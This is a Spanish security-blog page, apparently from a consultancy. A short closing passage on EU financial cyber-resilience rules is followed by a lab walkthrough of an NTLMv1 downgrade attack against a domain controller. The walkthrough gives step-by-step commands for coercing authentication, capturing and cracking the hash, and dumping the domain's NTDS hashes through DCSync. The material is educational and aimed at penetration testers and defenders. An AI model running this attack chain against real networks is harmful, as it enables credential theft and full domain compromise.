La UE está avanzando significativamente hacia la mejora de la resiliencia operativa digital del sector financiero. Al establecer reglas claras para la notificación de incidentes, pruebas de penetración y supervisión, estas políticas buscan garantizar una respuesta coherente y efectiva ante las ciberamenazas a las que actualmente se enfrenta el tejido empresarial financiero. Obviamente, esto no solo aumentará la transparencia en la respuesta a ciberataques, sino que también fortalecerá la seguridad y estabilidad del sector financiero, ayudando a las empresas a estar mejor preparadas ante posibles amenazas digitales.

En próximos posts profundizaremos en los documentos publicados en este nuevo paquete RTS.

Egoitz San Martín, Analista de Ciberseguridad en Grupo Zerolynx.

NTLMv1 Downgrade attack

NetNTLMv1 downgrade 

Como hemos comentado en entradas anteriores tras forzar una autenticación y obtener el hash NetNTLM de la contraseña del usuario máquina de la víctima, se nos presentan, principalmente, tres escenarios diferentes de explotación, en este caso vamos a estar hablado de: 

• NetNTLMv1 downgrade  

En este escenario, el atacante aprovechará el uso del protocolo de autenticación NetNTLMv1 en la red. 

Para poder abusar de dicho protocolo de autenticación, el servidor vulnerable a “Coerce Autentication” deberá tener configurado en el registro la clave “LmCompatibilityLevel” y se encuentra con un valor de 2 o menos. 

Esto se puede configurar habilitando el envió de respuestas LM y NTLM en la política de grupo denominada como “Seguridad de red: nivel de autenticación de LAN Manager”. 

Resumen 

A continuación, se explica a grandes rasgos el proceso de explotación de este ataque: 

1. Obtener una Respuesta NetNTLMv1 de la cuenta de máquina del controlador del dominio forzando la autenticación con cualquier vulnerabilidad de “Coerce Autentication”. 
2. Transformar el hash NetNTLMv1 obtenido a un formato para poder ser crackeado en el modo DES. 
3. Crackear las diferentes partes del hash y obtener las claves DES de cada una de ellas. 
4. Transformar las claves DES Obtenidas a formato NTLM. 
5. Realizar un DCSync para obtener el NTDS mediante Pass The Hash haciendo uso del hash NTLM obtenido en los pasos anteriores. 

Componentes del laboratorio de pruebas 

A continuación, describimos brevemente los activos que se encuentran en el laboratorio de pruebas: 

• Attack_Machine – Esta máquina hace referencia a una Kali Linux desde donde realizaremos el ataque para obtener una “Coerce Autentication” y tener a la escucha el software para obtener el hash del usuario maquina en formato NetNTLMv1. 

• DC.corp.lab – Controlador de dominio con el dominio “corp.lab” configurado, el cual va a ser víctima del ataque. Se configurará un usuario denominado como “Bob” en dicho dominio sin privilegios para emular el ataque desde el compromiso de este. Dicho servidor tendrá aplicada la política de grupo nombrada anteriormente. 

Desarrollo del ataque 

Obtener una Respuesta NetNTLMv1 

Para comenzar el ataque, deberemos comprobar si el controlador de dominio es vulnerable a alguno de los ataques de “Coerce Autentication” explicados “aquí”. En este caso, la explotación la realizaremos abusando del MS-RPC denominado como MS-RPRN mediante el script Printer Bug. 

Se deberá comprobar que el DC tiene dicho MS-RPC habilitado mediante el siguiente comando: 

Terminal

                python3 rpcdump.py @dc.corp.lab | grep 'MS-RPRN' 

      

Tras comprobar que el controlador de dominio es vulnerable a dicha “Coerce Autentication”, se deberá configurar la máquina del atacante. Para ello se deberá editar el archivo de configuración del software conocido como Responder, de la siguiente manera:

Terminal

                Sudo nano /etc/responder/Responder.conf 

				SMB = On 

				HTTP = On 

				;Challenge = Random 

			Challenge = 1122334455667788 

      

Una vez editado el archivo de configuración de responder, se deberá ejecutar de la siguiente manera para ponerlo a la escucha. El flag –lm fuerza un downgrade en ciertas versiones de Sistema Operativo. 

Terminal

                sudo responder -I eth0 -wv --lm  

      

Una vez teniendo en ejecución “Responder”, se procederá a explotar la “Coerce Autentication”. 

Terminal

                'python3 printerbug.py "CORP/bob:password" @dc.corp.lab attack_machine'

      

Tras forzar la autenticación del usuario máquina del controlador de dominio contra la máquina del atacante, se obtiene el hash NetNTLMv1 de dicho usuario. 

Transformar el hash NetNTLMv1 obtenido a un formato para poder ser crackeado 

Tal y como se ha comentado, una vez obtenido el hash NetNTLMv1 se deberá transformar a un formato que pueda ser crackeado en el modo DES. Para ello, se hará uso de la herramienta ntlmv1-multi, la cual proporcionará los siguientes pasos a seguir para el correcto crackeo del hash. 

Terminal

                python3 ntlmv1.py --ntlmv1 'hash ntlmv1' 

      

Como se puede observar en la captura de pantalla anterior, la propia herramienta muestra como calcular los 4 últimos dígitos del hash NTLM, y facilita, por un lado, los hashes que se deben crackear a formato DES, así como el comando que se debe ejecutar.  

Crackear las diferentes partes del hash y obtener las claves DES de cada una de ellas 

Por lo tanto, lo primero, se ejecutará el cálculo de los últimos 4 dígitos del hash NTLM de la siguiente manera haciendo uso de una herramienta de hashcat:

Terminal

                /usr/lib/hashcat-utils/ct3_to_ntlm.bin 'output obtenido con ntlmv1.py' 

      

Por otro lado, se procederá a crackear a formato DES los dos hashes proporcionados por la herramienta ntlmv1-multi mediante la herramienta de crackeo hashcat con el siguiente comando: 

Terminal

          hashcat.exe -m 14000 -a 3 -1 charsets/DES_full.hcchr --hex-charset 'fichero con hashes' ?1?1?1?1?1?1?1?1       

      

NOTA: En las versiones antiguas de hashcat, se hace uso del “charset” DES_FULL.charset, en las versiones actualizadas, se hace uso de DES_full.hcchr. 

Tras el proceso de crackeo, se obtiene las siguientes claves DES: 

Transformar las claves DES Obtenidas a formato NTLM: 

Una vez obtenidas las dos claves DES, se deberá hacer uso de otras herramientas de hashcat la cual permitirá transformas dichas claves al formato NTLM. 

Terminal

                 /usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 1' 

		/usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 2' 

      

Realizar un de DCSync para obtener el NTDS mediante Pass The Hash :

Tras obtener todas las partes del hash NTLM del usuario máquina del controlador de dominio, es posible realizar un DCSync y obtener el NTDS del dominio mediante la herramienta secretsdump.py de impacket, realizando un ataque de Pass The Hash: 

Terminal

                Python3 secretsdump.py -just-dc-ntlm -hashes ‘hash_ntlm’ ‘corp.lab/dc$@dc.corp.lab’’  

      

Dimas Pastor, Senior Analyst en Grupo Zerolynx.